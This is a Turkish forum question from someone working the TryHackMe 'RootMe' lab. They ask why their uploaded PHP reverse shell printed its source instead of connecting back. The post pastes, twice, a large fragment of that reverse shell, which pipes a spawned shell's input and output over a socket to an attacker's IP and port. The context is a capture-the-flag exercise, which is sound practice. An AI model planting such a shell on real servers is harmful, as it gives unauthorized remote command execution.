Merhabalar herkese, Reverse shell almaya çalışyordum herşeyi ayarladım portu ip vs vs.
SUnucuda shelli çalıştırdığımda böyle bir kod geldi ve bağlantıda gelmedi sebebi nedir?
not:Tryhackmede rootme odasını çözüyorum
array('pipe', 'r'), // stdin is a pipe that the child will read from 1 => array('pipe', 'w'), // stdout is a pipe that the child will write to 2 => array('pipe', 'w') // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit('ERROR: Can't spawn shell'); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit('Successfully opened reverse shell to $ip:$port'); while (1) { // Check for end of TCP connection if (feof($sock)) { printit('ERROR: Shell connection terminated'); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit('ERROR: Shell process terminated'); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit('SOCK READ'); $input = fread($sock, $chunk_size); if ($debug) printit('SOCK: $input'); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit('STDOUT READ'); $input = fread($pipes[1], $chunk_size); if ($debug) printit('STDOUT: $input'); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit('STDERR READ'); $input = fread($pipes[2], $chunk_size); if ($debug) printit('STDERR: $input'); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print '$string '; } } ?>
SUnucuda shelli çalıştırdığımda böyle bir kod geldi ve bağlantıda gelmedi sebebi nedir?
not:Tryhackmede rootme odasını çözüyorum
array('pipe', 'r'), // stdin is a pipe that the child will read from 1 => array('pipe', 'w'), // stdout is a pipe that the child will write to 2 => array('pipe', 'w') // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit('ERROR: Can't spawn shell'); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit('Successfully opened reverse shell to $ip:$port'); while (1) { // Check for end of TCP connection if (feof($sock)) { printit('ERROR: Shell connection terminated'); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit('ERROR: Shell process terminated'); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit('SOCK READ'); $input = fread($sock, $chunk_size); if ($debug) printit('SOCK: $input'); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit('STDOUT READ'); $input = fread($pipes[1], $chunk_size); if ($debug) printit('STDOUT: $input'); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit('STDERR READ'); $input = fread($pipes[2], $chunk_size); if ($debug) printit('STDERR: $input'); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print '$string '; } } ?>
